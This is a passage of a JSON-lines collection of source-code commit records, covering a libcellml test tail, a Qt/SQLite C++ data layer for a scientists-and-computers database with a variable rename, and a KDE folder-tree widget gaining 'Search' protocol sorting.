\"<\/model>\\n\";\n\n    const std::string math =\n        \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"\n        \"<math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\">\\n\"\n        \"  <apply>\\n\"\n        \"    <divide\/>\\n\"\n        \"    <ci> eff <\/ci>\\n\"\n        \"    <ci> t_ave <\/ci>\\n\"\n        \"  <\/apply>\\n\"\n        \"<\/math>\\n\";\n\n\n    libcellml::ModelPtr m = libcellml::Model::create();\n    libcellml::ComponentPtr comp = libcellml::Component::create();\n    comp->setName(\"parameters\");\n\n    comp->appendMath(math);\n    m->addComponent(comp);\n\n    libcellml::PrinterPtr printer = libcellml::Printer::create();\n    std::string a = printer->printModel(m);\n    EXPECT_EQ(e, a);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"datalayer.h\"\r\n#include \"person.h\"\r\n#include <fstream>\r\n#include <iostream>\r\n#include <vector>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nDataLayer::DataLayer()\r\n{\r\n    db = QSqlDatabase::addDatabase(\"QSQLITE\");\r\n    QString dbName = \"amazingDatabase.sqlite\";\r\n    db.setDatabaseName(dbName);\r\n}\r\nvoid DataLayer::writeToFile(string name, char gender, int yearOfBirth, int yearOfDeath, string comment)\r\n{\r\n     ofstream myfile(\"amazingDatabase.txt\", ios::app);\r\n     myfile << name << endl;\r\n     myfile << gender << endl;\r\n     myfile << yearOfBirth << endl;\r\n     myfile << yearOfDeath << endl;\r\n     myfile << comment << endl;\r\n     myfile.close();\r\n}\r\nvoid DataLayer::readFromFile(vector<Person>& getPersons)\r\n{\r\n    string line;\r\n    string name = \"1\";\r\n    string comment = \"1\";\r\n    char gender = '1';\r\n    int yearOfBirth = 1;\r\n    int yearOfDeath = 1;\r\n    ifstream myfile (\"amazingDatabase.txt\");\r\n    if (myfile.is_open())\r\n      {\r\n        while ( getline (myfile,line) )\r\n        {\r\n          if(name == \"1\" && gender == '1' && yearOfBirth == 1 && yearOfDeath == 1 && comment == \"1\")\r\n          {\r\n              name = line;\r\n          }\r\n          else if(name != \"1\" && gender == '1' && yearOfBirth == 1 && yearOfDeath == 1 && comment == \"1\")\r\n          {\r\n              gender = line[0];\r\n          }\r\n          else if(name != \"1\" && gender != '1' && yearOfBirth == 1 && yearOfDeath == 1 && comment == \"1\")\r\n          {\r\n              yearOfBirth = stringToNumber(line);\r\n          }\r\n          else if(name != \"1\" && gender != '1' && yearOfBirth != 1 && yearOfDeath == 1 && comment == \"1\")\r\n          {\r\n              yearOfDeath = stringToNumber(line);\r\n          }\r\n          else if(name != \"1\" && gender != '1' && yearOfBirth != 1 && yearOfDeath != 1 && comment == \"1\")\r\n          {\r\n              comment = line;\r\n              Person p(name, gender, yearOfBirth, yearOfDeath, comment);\r\n              getPersons.push_back(p);\r\n              name = \"1\";\r\n              gender = '1';\r\n              yearOfBirth = 1;\r\n              yearOfDeath = 1;\r\n              comment = \"1\";\r\n          }\r\n        }\r\n    myfile.close();\r\n    }\r\n    else cout << \"Unable to open file!\" << endl;\r\n}\r\nbool sortByName(const Person &lhs, const Person &rhs)\r\n{\r\n    return lhs._getName() < rhs._getName();\r\n}\r\nbool sortByBirth(const Person &lhs, const Person &rhs)\r\n{\r\n    return lhs._getBirth() < rhs._getBirth();\r\n}\r\nbool sortByGender(const Person &lhs, const Person &rhs)\r\n{\r\n    return lhs._getGender() < rhs._getGender();\r\n}\r\nbool sortByAge(const Person &lhs, const Person &rhs)\r\n{\r\n    return lhs._getAge() < rhs._getAge();\r\n}\r\nvoid DataLayer::sortNames(vector<Person>& getPersons)\r\n{\r\n    std::sort(getPersons.begin(),getPersons.end(), sortByName);\r\n}\r\nvoid DataLayer::sortBirth(vector<Person>& getPersons)\r\n{\r\n    std::sort(getPersons.begin(),getPersons.end(), sortByBirth);\r\n}\r\nvoid DataLayer::sortGender(vector<Person>& getPersons)\r\n{\r\n    std::sort(getPersons.begin(),getPersons.end(), sortByGender);\r\n}\r\nvoid DataLayer::sortAge(vector<Person>& getPersons)\r\n{\r\n    std::sort(getPersons.begin(),getPersons.end(), sortByAge);\r\n}\r\nvoid DataLayer::deleteFile()\r\n{\r\n    remove(\"amazingDatabase.txt\");\r\n    ofstream myfile;\r\n    myfile.open(\"amazingDatabase.txt\");\r\n    myfile.close();\r\n}\r\nint DataLayer::stringToNumber(string st)\r\n{\r\n    string text = st;\r\n    int value = atoi(text.c_str());\r\n    return value;\r\n}\r\n\r\nvoid DataLayer::readScientistsFromDatabase(vector<Person>& sci)\r\n{\r\n    db.open();\r\n\r\n    QSqlQuery query(db);\r\n    query.exec(\"SELECT * FROM Scientist\");\r\n\r\n\r\n    while(query.next())\r\n    {\r\n        int id = query.value(\"id\").toUInt();\r\n        string name = query.value(\"name\").toString().toStdString();\r\n        string gen = query.value(\"gender\").toString().toStdString();\r\n        int birth = query.value(\"YearOfBirth\").toUInt();\r\n        int death = query.value(\"YearOfDeath\").toUInt();\r\n        string comment = query.value(\"comment\").toString().toStdString();\r\n        if(death < 0 && death > 2016)\r\n        {\r\n            death = 0;\r\n        }\r\n        char gender = gen[0];\r\n        sci.push_back(Person(name, gender, birth, death, comment));\r\n   }\r\n}\r\n\r\nvoid DataLayer::readComputersFromDatabase(vector<computer>& com)\r\n{\r\n    db.open();\r\n\r\n    QSqlQuery query(db);\r\n    query.exec(\"SELECT * FROM Computers\");\r\n\r\n\r\n    while(query.next())\r\n    {\r\n        int id = query.value(\"id\").toUInt();\r\n        string name = query.value(\"name\").toString().toStdString();\r\n        string typeOf = query.value(\"type\").toString().toStdString();\r\n        int date = query.value(\"date\").toUInt();\r\n        string wasItBuilt = query.value(\"wasitbuilt\").toString().toStdString();\r\n\r\n        com.push_back(computer(name, typeOf, date, wasItBuilt));\r\n   }\r\n}\r\n\r\n<commit_msg>laga smá breytunöfn<commit_after>#include \"datalayer.h\"\r\n#include \"person.h\"\r\n#include <fstream>\r\n#include <iostream>\r\n#include <vector>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nDataLayer::DataLayer()\r\n{\r\n    db = QSqlDatabase::addDatabase(\"QSQLITE\");\r\n    QString dbName = \"amazingDatabase.sqlite\";\r\n    db.setDatabaseName(dbName);\r\n}\r\nvoid DataLayer::writeToFile(string name, char gender, int yearOfBirth, int yearOfDeath, string comment)\r\n{\r\n     ofstream myfile(\"amazingDatabase.txt\", ios::app);\r\n     myfile << name << endl;\r\n     myfile << gender << endl;\r\n     myfile << yearOfBirth << endl;\r\n     myfile << yearOfDeath << endl;\r\n     myfile << comment << endl;\r\n     myfile.close();\r\n}\r\nvoid DataLayer::readFromFile(vector<Person>& getPersons)\r\n{\r\n    string line;\r\n    string name = \"1\";\r\n    string comment = \"1\";\r\n    char gender = '1';\r\n    int yearOfBirth = 1;\r\n    int yearOfDeath = 1;\r\n    ifstream myfile (\"amazingDatabase.txt\");\r\n    if (myfile.is_open())\r\n      {\r\n        while ( getline (myfile,line) )\r\n        {\r\n          if(name == \"1\" && gender == '1' && yearOfBirth == 1 && yearOfDeath == 1 && comment == \"1\")\r\n          {\r\n              name = line;\r\n          }\r\n          else if(name != \"1\" && gender == '1' && yearOfBirth == 1 && yearOfDeath == 1 && comment == \"1\")\r\n          {\r\n              gender = line[0];\r\n          }\r\n          else if(name != \"1\" && gender != '1' && yearOfBirth == 1 && yearOfDeath == 1 && comment == \"1\")\r\n          {\r\n              yearOfBirth = stringToNumber(line);\r\n          }\r\n          else if(name != \"1\" && gender != '1' && yearOfBirth != 1 && yearOfDeath == 1 && comment == \"1\")\r\n          {\r\n              yearOfDeath = stringToNumber(line);\r\n          }\r\n          else if(name != \"1\" && gender != '1' && yearOfBirth != 1 && yearOfDeath != 1 && comment == \"1\")\r\n          {\r\n              comment = line;\r\n              Person p(name, gender, yearOfBirth, yearOfDeath, comment);\r\n              getPersons.push_back(p);\r\n              name = \"1\";\r\n              gender = '1';\r\n              yearOfBirth = 1;\r\n              yearOfDeath = 1;\r\n              comment = \"1\";\r\n          }\r\n        }\r\n    myfile.close();\r\n    }\r\n    else cout << \"Unable to open file!\" << endl;\r\n}\r\nbool sortByName(const Person &lhs, const Person &rhs)\r\n{\r\n    return lhs._getName() < rhs._getName();\r\n}\r\nbool sortByBirth(const Person &lhs, const Person &rhs)\r\n{\r\n    return lhs._getBirth() < rhs._getBirth();\r\n}\r\nbool sortByGender(const Person &lhs, const Person &rhs)\r\n{\r\n    return lhs._getGender() < rhs._getGender();\r\n}\r\nbool sortByAge(const Person &lhs, const Person &rhs)\r\n{\r\n    return lhs._getAge() < rhs._getAge();\r\n}\r\nvoid DataLayer::sortNames(vector<Person>& getPersons)\r\n{\r\n    std::sort(getPersons.begin(),getPersons.end(), sortByName);\r\n}\r\nvoid DataLayer::sortBirth(vector<Person>& getPersons)\r\n{\r\n    std::sort(getPersons.begin(),getPersons.end(), sortByBirth);\r\n}\r\nvoid DataLayer::sortGender(vector<Person>& getPersons)\r\n{\r\n    std::sort(getPersons.begin(),getPersons.end(), sortByGender);\r\n}\r\nvoid DataLayer::sortAge(vector<Person>& getPersons)\r\n{\r\n    std::sort(getPersons.begin(),getPersons.end(), sortByAge);\r\n}\r\nvoid DataLayer::deleteFile()\r\n{\r\n    remove(\"amazingDatabase.txt\");\r\n    ofstream myfile;\r\n    myfile.open(\"amazingDatabase.txt\");\r\n    myfile.close();\r\n}\r\nint DataLayer::stringToNumber(string st)\r\n{\r\n    string text = st;\r\n    int value = atoi(text.c_str());\r\n    return value;\r\n}\r\n\r\nvoid DataLayer::readScientistsFromDatabase(vector<Person>& sci)\r\n{\r\n    db.open();\r\n\r\n    QSqlQuery query(db);\r\n    query.exec(\"SELECT * FROM Scientist\");\r\n\r\n\r\n    while(query.next())\r\n    {\r\n        int id = query.value(\"id\").toUInt();\r\n        string name = query.value(\"name\").toString().toStdString();\r\n        string gen = query.value(\"gender\").toString().toStdString();\r\n        int birth = query.value(\"YearOfBirth\").toUInt();\r\n        int death = query.value(\"YearOfDeath\").toUInt();\r\n        string comment = query.value(\"comment\").toString().toStdString();\r\n        if(death < 0 && death > 2016)\r\n        {\r\n            death = 0;\r\n        }\r\n        char gender = gen[0];\r\n        sci.push_back(Person(name, gender, birth, death, comment));\r\n   }\r\n}\r\n\r\nvoid DataLayer::readComputersFromDatabase(vector<computer>& com)\r\n{\r\n    db.open();\r\n\r\n    QSqlQuery query(db);\r\n    query.exec(\"SELECT * FROM Computers\");\r\n\r\n\r\n    while(query.next())\r\n    {\r\n        int id = query.value(\"id\").toUInt();\r\n        string name = query.value(\"name\").toString().toStdString();\r\n        string type = query.value(\"type\").toString().toStdString();\r\n        int date = query.value(\"date\").toUInt();\r\n        string wasItBuilt = query.value(\"wasitbuilt\").toString().toStdString();\r\n\r\n        com.push_back(computer(name, type, date, wasItBuilt));\r\n   }\r\n}\r\n\r\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Fixed incorrect draw order when flattening. A floating raster selection would be stamped on top of objects.<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"kfoldertree.h\"\n#include <klocale.h>\n#include <kiconloader.h>\n#include <kdebug.h>\n#include <qpainter.h>\n#include <qapplication.h>\n#include <qheader.h>\n\n\/\/-----------------------------------------------------------------------------\nKFolderTreeItem::KFolderTreeItem( KFolderTree *parent, const QString & label,\n\t\t\t\t  Protocol protocol, Type type )\n  : KListViewItem( parent, label ), mProtocol( protocol ), mType( type ),\n    mUnread(-1), mTotal(0)\n{\n}\n\n\/\/-----------------------------------------------------------------------------\nKFolderTreeItem::KFolderTreeItem( KFolderTreeItem *parent,\n\t\t\t\t  const QString & label, Protocol protocol, Type type,\n          int unread, int total )\n    : KListViewItem( parent, label ), mProtocol( protocol ), mType( type ),\n      mUnread( unread ), mTotal( total )\n{\n}\n\n\/\/-----------------------------------------------------------------------------\nQString KFolderTreeItem::key(int column, bool) const\n{\n  if ( column > 0 ) return text(column);\n\n  \/\/ local root-folder\n  if ( !parent() && mProtocol == NONE )\n    return \"\\t0\";\n\n  QString thiskey;\n\n  \/* basic sorting rules: \n     local => imap => news => other\n   *\/\n  if (mProtocol == Local)\n    thiskey = \"\\t1\";\n  else if (mProtocol == CachedImap)\n    thiskey = \"\\t2\";\n  else if (mProtocol == Imap)\n    thiskey = \"\\t3\";\n  else if (mProtocol == News)\n    thiskey = \"\\t4\";\n  else\n    thiskey = \"\\t5\";\n\n  \/\/ make sure system folders come first when sorting\n  if (mType == Inbox)\n    thiskey += \"\\t0\";\n  else if (mType == Outbox)\n    thiskey += \"\\t1\";\n  else if (mType == SentMail)\n    thiskey += \"\\t2\";\n  else if (mType == Trash)\n    thiskey += \"\\t3\";\n  else if (mType == Drafts)\n    thiskey += \"\\t4\";\n  else if (mType == Calendar)\n    thiskey += \"\\t5\";\n  else if (mType == Contacts)\n    thiskey += \"\\t6\";\n  else if (mType == Notes)\n    thiskey += \"\\t7\";\n  else if (mType == Tasks)\n    thiskey += \"\\t8\";\n\n  \/\/ the displayed text\n  thiskey += text(0);\n\n  return thiskey;\n}\n\n\/\/-----------------------------------------------------------------------------\nint KFolderTreeItem::compare( QListViewItem * i, int col, bool ascending ) const \n{\n  if (col == 0) \n  {\n    \/\/ sort by folder\n    return key(col, ascending).localeAwareCompare( i->key(col, ascending) );\n  }\n  else \n  {\n    \/\/ sort by unread or total-column\n    int a = 0, b = 0; \n    if (col == static_cast<KFolderTree*>(listView())->unreadIndex())\n    {\n      a = mUnread; \n      b = static_cast<KFolderTreeItem*>(i)->unreadCount();\n    }\n    else if (col == static_cast<KFolderTree*>(listView())->totalIndex())\n    {\n      a = mTotal; \n      b = static_cast<KFolderTreeItem*>(i)->totalCount();\n    }\n    \n    if ( a == b )\n      return 0;\n    else \n      return (a < b ? -1 : 1);\n  }\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KFolderTreeItem::setUnreadCount( int aUnread )\n{\n  if ( aUnread < 0 ) return;\n\n  mUnread = aUnread;\n  \n  QString unread = QString::null;\n  if (mUnread == 0)\n    unread = \"- \";\n  else {\n    unread.setNum(mUnread);\n    unread += \" \";\n  }\n\n  setText( static_cast<KFolderTree*>(listView())->unreadIndex(), \n      unread );\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KFolderTreeItem::setTotalCount( int aTotal )\n{\n  if ( aTotal < 0 ) return;\n\n  mTotal = aTotal;\n\n  QString total = QString::null;\n  if (mTotal == 0)\n    total = \"- \";\n  else {\n    total.setNum(mTotal);\n    total += \" \";\n  }\n\n  setText( static_cast<KFolderTree*>(listView())->totalIndex(), \n      total );\n}\n\n\/\/-----------------------------------------------------------------------------\nint KFolderTreeItem::countUnreadRecursive()\n{\n  int count = (mUnread > 0) ? mUnread : 0;\n\n  for ( QListViewItem *item = firstChild() ;\n      item ; item = item->nextSibling() )\n  {\n    count += static_cast<KFolderTreeItem*>(item)->countUnreadRecursive();\n  }\n\n  return count;\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KFolderTreeItem::paintCell( QPainter * p, const QColorGroup & cg,\n                                  int column, int width, int align )\n{\n  QListView *lv = listView();\n  QString oldText = text(column);\n\n  \/\/ set an empty text so that we can have our own implementation (see further down)\n  \/\/ but still benefit from KListView::paintCell\n  setText( column, \"\" );\n  \n  KListViewItem::paintCell( p, cg, column, width, align );\n\n  KFolderTree *ft = static_cast<KFolderTree*>(listView());\n  int r = lv ? lv->itemMargin() : 1;\n  const QPixmap *icon = pixmap( column );\n  int marg = lv ? lv->itemMargin() : 1;\n\n  QString t;\n  QRect br;\n  setText( column, oldText );\n  if ( isSelected() )\n    p->setPen( cg.highlightedText() );\n  else\n    p->setPen( ft->paintInfo().colFore );\n\n  if ( icon ) {\n    r += icon->width() + lv->itemMargin();\n  }\n  t = text( column );\n  if ( !t.isEmpty() ) \n  {\n    \/\/ use a bold-font for the folder- and the unread-columns\n    if ( countUnreadRecursive() > 0 &&\n        (column == 0 || column == ft->unreadIndex()) ) \n    {\n      QFont f = p->font();\n      f.setWeight(QFont::Bold);\n      p->setFont(f);\n    }\n    p->drawText( r, 0, width-marg-r, height(),\n        align | AlignVCenter, t, -1, &br );\n    if (!isSelected())\n      p->setPen( ft->paintInfo().colUnread );\n    if (column == 0) {\n      \/\/ draw the unread-count if the unread-column is not active\n      QString unread = QString::null;\n      if ( !ft->isUnreadActive() && mUnread > 0 ) \n        unread = \" (\" + QString::number(mUnread) + \")\";\n      p->drawText( br.right(), 0, width-marg-br.right(), height(),\n          align | AlignVCenter, unread );\n    }\n  } \/\/ end !t.isEmpty()\n}\n\n\n\/\/=============================================================================\n\n\nKFolderTree::KFolderTree( QWidget *parent, const char* name )\n  : KListView( parent, name ), mUnreadIndex(-1), mTotalIndex(-1)\n{\n  \/\/ GUI-options\n  setLineWidth(0);\n  setAcceptDrops(true);\n  setDropVisualizer(false);  \n  setAllColumnsShowFocus(true);\n  setShowSortIndicator(true);\n  setUpdatesEnabled(true);\n  setItemsRenameable(false);\n  setRootIsDecorated(true);\n  setSelectionModeExt(Extended);\n  setAlternateBackground(QColor());\n  setFullWidth(true);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KFolderTree::drawContentsOffset( QPainter * p, int ox, int oy,\n                                       int cx, int cy, int cw, int ch )\n{\n  bool oldUpdatesEnabled = isUpdatesEnabled();\n  setUpdatesEnabled(false);\n  KListView::drawContentsOffset( p, ox, oy, cx, cy, cw, ch );\n  setUpdatesEnabled(oldUpdatesEnabled);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KFolderTree::contentsMousePressEvent( QMouseEvent *e )\n{\n    setSelectionModeExt(Single);\n    KListView::contentsMousePressEvent(e);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KFolderTree::contentsMouseReleaseEvent( QMouseEvent *e )\n{\n    KListView::contentsMouseReleaseEvent(e);\n    setSelectionModeExt(Extended);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KFolderTree::addAcceptableDropMimetype( const char *mimeType, bool outsideOk )\n{\n  int oldSize = mAcceptableDropMimetypes.size();\n  mAcceptableDropMimetypes.resize(oldSize+1);\n  mAcceptOutside.resize(oldSize+1);\n\n  mAcceptableDropMimetypes.at(oldSize) =  mimeType;\n  mAcceptOutside.setBit(oldSize, outsideOk);\n}\n\n\/\/-----------------------------------------------------------------------------\nbool KFolderTree::acceptDrag( QDropEvent* event ) const\n{\n  QListViewItem* item = itemAt(contentsToViewport(event->pos()));\n\n  for (uint i = 0; i < mAcceptableDropMimetypes.size(); i++) \n  {\n    if (event->provides(mAcceptableDropMimetypes[i])) \n    {\n      if (item) \n        return (static_cast<KFolderTreeItem*>(item))->acceptDrag(event);\n      else\n        return mAcceptOutside[i];\n    }\n  }\n  return false;\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KFolderTree::addUnreadColumn( const QString & name, int width )\n{\n  mUnreadIndex = addColumn( name, width );\n  setColumnAlignment( mUnreadIndex, qApp->reverseLayout() ? Qt::AlignLeft : Qt::AlignRight );\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KFolderTree::addTotalColumn( const QString & name, int width )\n{\n  mTotalIndex = addColumn( name, width );\n  setColumnAlignment( mTotalIndex, qApp->reverseLayout() ? Qt::AlignLeft : Qt::AlignRight );\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KFolderTree::removeUnreadColumn()\n{\n  if ( !isUnreadActive() ) return;\n  removeColumn( mUnreadIndex );\n  if ( isTotalActive() && mTotalIndex > mUnreadIndex )\n    mTotalIndex--;\n  mUnreadIndex = -1;\n  header()->adjustHeaderSize();\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KFolderTree::removeTotalColumn()\n{\n  if ( !isTotalActive() ) return;\n  removeColumn( mTotalIndex );\n  if ( isUnreadActive() && mTotalIndex < mUnreadIndex )\n    mUnreadIndex--;\n  mTotalIndex = -1;\n  header()->adjustHeaderSize();\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KFolderTree::setFullWidth( bool fullWidth )\n{\n  if (fullWidth)\n    header()->setStretchEnabled( true, 0 );\n}\n\n#include \"kfoldertree.moc\"\n<commit_msg>CCMAIL: zack@kde.org Explicit handling of the \"Search\" protocol in KFolderTreeItem::key().<commit_after>#include \"kfoldertree.h\"\n#include <klocale.h>\n#include <kiconloader.h>\n#include <kdebug.h>\n#include <qpainter.h>\n#include <qapplication.h>\n#include <qheader.h>\n\n\/\/-----------------------------------------------------------------------------\nKFolderTreeItem::KFolderTreeItem( KFolderTree *parent, const QString & label,\n\t\t\t\t  Protocol protocol, Type type )\n  : KListViewItem( parent, label ), mProtocol( protocol ), mType( type ),\n    mUnread(-1), mTotal(0)\n{\n}\n\n\/\/-----------------------------------------------------------------------------\nKFolderTreeItem::KFolderTreeItem( KFolderTreeItem *parent,\n\t\t\t\t  const QString & label, Protocol protocol, Type type,\n          int unread, int total )\n    : KListViewItem( parent, label ), mProtocol( protocol ), mType( type ),\n      mUnread( unread ), mTotal( total )\n{\n}\n\n\/\/-----------------------------------------------------------------------------\nQString KFolderTreeItem::key(int column, bool) const\n{\n  if ( column > 0 ) return text(column);\n\n  \/\/ local root-folder\n  if ( !parent() && mProtocol == NONE )\n    return \"\\t0\";\n\n  QString thiskey;\n\n  \/* basic sorting rules: \n     local => imap => news => other\n   *\/\n  if (mProtocol == Local)\n    thiskey = \"\\t1\";\n  else if (mProtocol == CachedImap)\n    thiskey = \"\\t2\";\n  else if (mProtocol == Imap)\n    thiskey = \"\\t3\";\n  else if (mProtocol == News)\n    thiskey = \"\\t4\";\n  else if (mProtocol == Search)\n    thiskey = \"\\t5\";\n  else\n    thiskey = \"\\t6\";\n\n  \/\/ make sure system folders come first when sorting\n  if (mType == Inbox)\n    thiskey += \"\\t0\";\n  else if (mType == Outbox)\n    thiskey += \"\\t1\";\n  else if (mType == SentMail)\n    thiskey += \"\\t2\";\n  else if (mType == Trash)\n    thiskey += \"\\t3\";\n  else if (mType == Drafts)\n    thiskey += \"\\t4\";\n  else if (mType == Calendar)\n    thiskey += \"\\t5\";\n  else if (mType == Contacts)\n    thiskey += \"\\t6\";\n  else if (mType == Notes)\n    thiskey += \"\\t7\";\n  else if (mType == Tasks)\n    thiskey += \"\\t8\";\n\n  \/\/ the displayed text\n  thiskey += text(0);\n\n  return thiskey;\n}\n\n\/\/-----------------------------------------------------------------------------\nint KFolderTreeItem::compare( QListViewItem * i, int col, bool ascending ) const \n{\n  if (col == 0) \n  {\n    \/\/ sort by folder\n    return key(col, ascending).localeAwareCompare( i->key(col, ascending) );\n  }\n  else \n  {\n    \/\/ sort by unread or total-column\n    int a = 0, b = 0; \n    if (col == static_cast<KFolderTree*>(listView())->unreadIndex())\n    {\n      a = mUnread; \n      b = static_cast<KFolderTreeItem*>(i)->unreadCount();\n    }\n    else if (col == static_cast<KFolderTree*>(listView())->totalIndex())\n    {\n      a = mTotal; \n      b = static_cast<KFolderTreeItem*>(i)->totalCount();\n    }\n    \n    if ( a == b )\n      return 0;\n    else \n      return (a < b ? -1 : 1);\n  }\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KFolderTreeItem::setUnreadCount( int aUnread )\n{\n  if ( aUnread < 0 ) return;\n\n  mUnread = aUnread;\n  \n  QString unread = QString::null;\n  if (mUnread == 0)\n    unread = \"- \";\n  else {\n    unread.setNum(mUnread);\n    unread += \" \";\n  }\n\n  setText( static_cast<KFolderTree*>(listView())->unreadIndex(), \n      unread );\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KFolderTreeItem::setTotalCount( int aTotal )\n{\n  if ( aTotal < 0 ) return;\n\n  mTotal = aTotal;\n\n  QString total = QString::null;\n  if (mTotal == 0)\n    total = \"- \";\n  else {\n    total.setNum(mTotal);\n    total += \" \";\n  }\n\n  setText( static_cast<KFolderTree*>(listView())->totalIndex(), \n      total );\n}\n\n\/\/-----------------------------------------------------------------------------\nint KFolderTreeItem::countUnreadRecursive()\n{\n  int count = (mUnread > 0) ? mUnread : 0;\n\n  for ( QListViewItem *item = firstChild() ;\n      item ; item = item->nextSibling() )\n  {\n    count += static_cast<KFolderTreeItem*>(item)->countUnreadRecursive();\n  }\n\n  return count;\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KFolderTreeItem::paintCell( QPainter * p, const QColorGroup & cg,\n                                  int column, int width, int align )\n{\n  QListView *lv = listView();\n  QString oldText = text(column);\n\n  \/\/ set an empty text so that we can have our own implementation (see further down)\n  \/\/ but still benefit from KListView::paintCell\n  setText( column, \"\" );\n  \n  KListViewItem::paintCell( p, cg, column, width, align );\n\n  KFolderTree *ft = static_cast<KFolderTree*>(listView());\n  int r = lv ? lv->itemMargin() : 1;\n  const QPixmap *icon = pixmap( column );\n  int marg = lv ? lv->itemMargin() : 1;\n\n  QString t;\n  QRect br;\n  setText( column, oldText );\n  if ( isSelected() )\n    p->setPen( cg.highlightedText() );\n  else\n    p->setPen( ft->paintInfo().colFore );\n\n  if ( icon ) {\n    r += icon->width() + lv->itemMargin();\n  }\n  t = text( column );\n  if ( !t.isEmpty() ) \n  {\n    \/\/ use a bold-font for the folder- and the unread-columns\n    if ( countUnreadRecursive() > 0 &&\n        (column == 0 || column == ft->unreadIndex()) ) \n    {\n      QFont f = p->font();\n      f.setWeight(QFont::Bold);\n      p->setFont(f);\n    }\n    p->drawText( r, 0, width-marg-r, height(),\n        align | AlignVCenter, t, -1, &br );\n    if (!isSelected())\n      p->setPen( ft->paintInfo().colUnread );\n    if (column == 0) {\n      \/\/ draw the unread-count if the unread-column is not active\n      QString unread = QString::null;\n      if ( !ft->isUnreadActive() && mUnread > 0 ) \n        unread = \" (\" + QString::number(mUnread) + \")\";\n      p->drawText( br.right(), 0, width-marg-br.right(), height(),\n          align | AlignVCenter, unread );\n    }\n  } \/\/ end !t.isEmpty()\n}\n\n\n\/\/=============================================================================\n\n\nKFolderTree::KFolderTree( QWidget *parent, const char* name )\n  : KListView( parent, name ), mUnreadIndex(-1), mTotalIndex(-1)\n{\n  \/\/ GUI-options\n  setLineWidth(0);\n  setAcceptDrops(true);\n  setDropVisualizer(false);  \n  setAllColumnsShowFocus(true);\n  setShowSortIndicator(true);\n  setUpdatesEnabled(true);\n  setItemsRenameable(false);\n  setRootIsDecorated(true);\n  setSelectionModeExt(Extended);\n  setAlternateBackground(QColor());\n  setFullWidth(true);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KFolderTree::drawContentsOffset( QPainter * p, int ox, int oy,\n                                       int cx, int cy, int cw, int ch )\n{\n  bool oldUpdatesEnabled = isUpdatesEnabled();\n  setUpdatesEnabled(false);\n  KListView::drawContentsOffset( p, ox, oy, cx, cy, cw, ch );\n  setUpdatesEnabled(oldUpdatesEnabled);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KFolderTree::contentsMousePressEvent( QMouseEvent *e )\n{\n    setSelectionModeExt(Single);\n    KListView::contentsMousePressEvent(e);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KFolderTree::contentsMouseReleaseEvent( QMouseEvent *e )\n{\n    KListView::contentsMouseReleaseEvent(e);\n    setSelectionModeExt(Extended);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KFolderTree::addAcceptableDropMimetype( const char *mimeType, bool outsideOk )\n{\n  int oldSize = mAcceptableDropMimetypes.size();\n  mAcceptableDropMimetypes.resize(oldSize+1);\n  mAcceptOutside.resize(oldSize+1);\n\n  mAcceptableDropMimetypes.at(oldSize) =  mimeType;\n  mAcceptOutside.setBit(oldSize, outsideOk);\n}\n\n\/\/-----------------------------------------------------------------------------\nbool KFolderTree::acceptDrag( QDropEvent* event ) const\n{\n  QListViewItem* item = itemAt(contentsToViewport(event->pos()));\n\n  for (uint i = 0; i < mAcceptableDropMimetypes.size(); i++) \n  {\n    if (event->provides(mAcceptableDropMimetypes[i])) \n    {\n      if (item) \n        return (static_cast<KFolderTreeItem*>(item))->acceptDrag(event);\n      else\n        return mAcceptOutside[i];\n    }\n  }\n  return false;\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KFolderTree::addUnreadColumn( const QString & name, int width )\n{\n  mUnreadIndex = addColumn( name, width );\n  setColumnAlignment( mUnreadIndex, qApp->reverseLayout() ? Qt::AlignLeft : Qt::AlignRight );\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KFolderTree::addTotalColumn( const QString & name, int width )\n{\n  mTotalIndex = addColumn( name, width );\n  setColumnAlignment( mTotalIndex, qApp->reverseLayout() ? Qt::AlignLeft : Qt::AlignRight );\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KFolderTree::removeUnreadColumn()\n{\n  if ( !isUnreadActive() ) return;\n  removeColumn( mUnreadIndex );\n  if ( isTotalActive() && mTotalIndex > mUnreadIndex )\n    mTotalIndex--;\n  mUnreadIndex = -1;\n  header()->adjustHeaderSize();\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KFolderTree::removeTotalColumn()\n{\n  if ( !isTotalActive() ) return;\n  removeColumn( mTotalIndex );\n  if ( isUnreadActive() && mTotalIndex < mUnreadIndex )\n    mUnreadIndex--;\n  mTotalIndex = -1;\n  header()->adjustHeaderSize();\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KFolderTree::setFullWidth( bool fullWidth )\n{\n  if (fullWidth)\n    header()->setStretchEnabled( true, 0 );\n}\n\n#include \"kfoldertree.moc\"\n<|endoftext|>"}
